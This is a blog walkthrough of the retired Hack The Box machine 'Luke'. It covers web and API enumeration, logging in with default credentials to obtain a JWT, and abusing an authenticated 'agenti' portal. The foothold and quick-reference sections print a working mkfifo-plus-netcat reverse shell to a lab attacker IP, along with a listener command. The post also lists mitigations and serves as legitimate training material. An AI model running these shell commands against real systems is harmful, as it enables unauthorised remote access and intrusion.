Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Hack The Box - Luke User and Root flag

Hack The Box - Luke User and Root flag: Gain initial foothold and escalate to read user and root flags, documenting the JWT weaknesses and the API/portal abuse path. • Security • CSRF • nmap, jwt-token

2020-01-165 tags
Tags

Scope: Educational walkthrough of a retired Hack The Box machine.
Focus: Enumerating web services, abusing weak JWT handling, and pivoting to a shell via authenticated API/UI.
Disclaimer: For learning on legal targets only.


🔎 TL;DR

  • Enumerated web stack with Nmap & Gobuster.
  • Discovered Node/Express API on port 3000 exposing /login.
  • Obtained a JWT by POSTing default creds, decoded it (header/payload/signature) to confirm HS256.
  • Used the Bearer token to enumerate users and reach additional endpoints.
  • Leveraged authenticated portal (“agenti”) to mount a reverse shell using mkfifo + nc.
  • Retrieved user and root flags.

🎯 Objective

Gain initial foothold and escalate to read user and root flags, documenting the JWT weaknesses and the API/portal abuse path.


🧰 Tools & Setup

  • Nmap, Gobuster
  • curl, jq
  • Burp Suite (with proxy header rewriting)
  • nc for reverse shell
  • Linux workstation

🗺️ Recon

Nmap

bash
nmap -sC -sV -T4 -oA luke_initial 10.10.10.137

Nmap

Gobuster (in parallel)

Gobuster

During web review, a file revealed some details that weren’t immediately actionable: Interesting File

Multiple login portals identified: Portal 1 Portal 2


🔐 API Authentication & JWT

Attempted API login via POST /login on port 3000:

bash
curl -XPOST http://luke.htb:3000/login -d 'username=admin&password=Zk6heYCyv6ZE9Xcg'; echo

Login JSON

Response included a JWT:

json
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc5MTg4NzUyLCJleHAiOjE1NzkyNzUxNTJ9.Wnh1P6SM0LFWpfaifZl0z74uVyOHWnCZErEW4Ey-VPQ"}

Decode the JWT (3 parts)

Header (alg & typ):

bash
echo -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | base64 --decode

JWT Header

Payload (claims):

bash
echo -n eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc5MTg4NzUyLCJleHAiOjE1NzkyNzUxNTJ9 | base64 -d

JWT Payload

Signature: Wnh1P6SM0LFWpfaifZl0z74uVyOHWnCZErEW4Ey-VPQ


🚪 Using the Bearer Token

Validate token access to the API root:

bash
curl http://luke.htb:3000/ \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc5MTg4NzUyLCJleHAiOjE1NzkyNzUxNTJ9.Wnh1P6SM0LFWpfaifZl0z74uVyOHWnCZErEW4Ey-VPQ'; echo

200 OK

Enumerate users; format JSON with jq: jq Users


🧪 Burp Header Rewriter (Quality of Life)

Configured Burp to add custom headers for the browser session (useful where UI needed headers to reflect auth state/role): Burp Proxy Header Session Setup


🔎 Additional Auth’d Enumeration

Abused authenticated API/UI to list more content and endpoints: API Enum

Found an interesting file/route to pivot: Interesting Route

Tested a few common admin handles on an agenti portal and logged in: Agenti Login


🪝 Foothold via Reverse Shell

Prepared a simple named‑pipe + netcat reverse shell:

Listener (attacker):

bash
nc -lvnp 1337

Target (within authenticated command field / UI action):

bash
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.12 1337 > /tmp/f

Execution screenshots: Shell Setup Shell Landed

Some TTY upgrade attempts failed due to limited environment (no python, etc.), so proceeded to harvest flags directly: Flags


🧩 Observations & Notes

  • API accepted default credentials leading to JWT issuance.
  • JWT was HS256; while we didn’t need to forge it, weak issuance plus broad access yielded quick pivot.
  • Burp header rewriting streamlined mixed UI/API navigation.
  • The agenti portal accepted simple command execution enabling a reliable reverse shell.

🛡️ Mitigations

  • Enforce strong credentials and account lockout; disable default creds.
  • Scope tokens with least privilege; reduce token lifetime and verify audience/issuer.
  • Validate JWT signature with server‑side secret management; consider key rotation.
  • Add RBAC and restrict sensitive endpoints.
  • Sanitize/validate parameters; remove any command‑execution paths.
  • Implement WAF rules for command injection patterns and unusual API usage.
  • Monitor and alert on suspicious auth & token activity.

📎 Quick Command Reference

bash
# Login to get JWT
curl -XPOST http://luke.htb:3000/login -d 'username=admin&password=Zk6heYCyv6ZE9Xcg'

# Decode JWT parts
echo -n HEADER_B64 | base64 -d
echo -n PAYLOAD_B64 | base64 -d

# Use JWT
curl http://luke.htb:3000/ -H "Authorization: Bearer <JWT>"

# Reverse shell (target)
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker_ip> 1337 > /tmp/f

# Listener (attacker)
nc -lvnp 1337

✅ Outcome

  • Initial foothold via API JWT and agent portal.
  • Reverse shell obtained and flags captured.

📚 Appendix (Screenshots)

  • Nmap / Gobuster / Login / JWT decode / API enum / Burp header / Agenti portal / Shell & Flags (all included inline above).
Navigate

In this post

  1. 01🔎 TL;DR
  2. 02🎯 Objective
  3. 03🧰 Tools & Setup
  4. 04🗺️ Recon
  5. 05Nmap
  6. 06Gobuster (in parallel)
  7. 07🔐 API Authentication & JWT
  8. 08Decode the JWT (3 parts)
  9. 09🚪 Using the Bearer Token
  10. 10🧪 Burp Header Rewriter (Quality of Life)
  11. 11🔎 Additional Auth’d Enumeration
  12. 12🪝 Foothold via Reverse Shell
  13. 13🧩 Observations & Notes
  14. 14🛡️ Mitigations
  15. 15📎 Quick Command Reference
  16. 16✅ Outcome
  17. 17📚 Appendix (Screenshots)
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.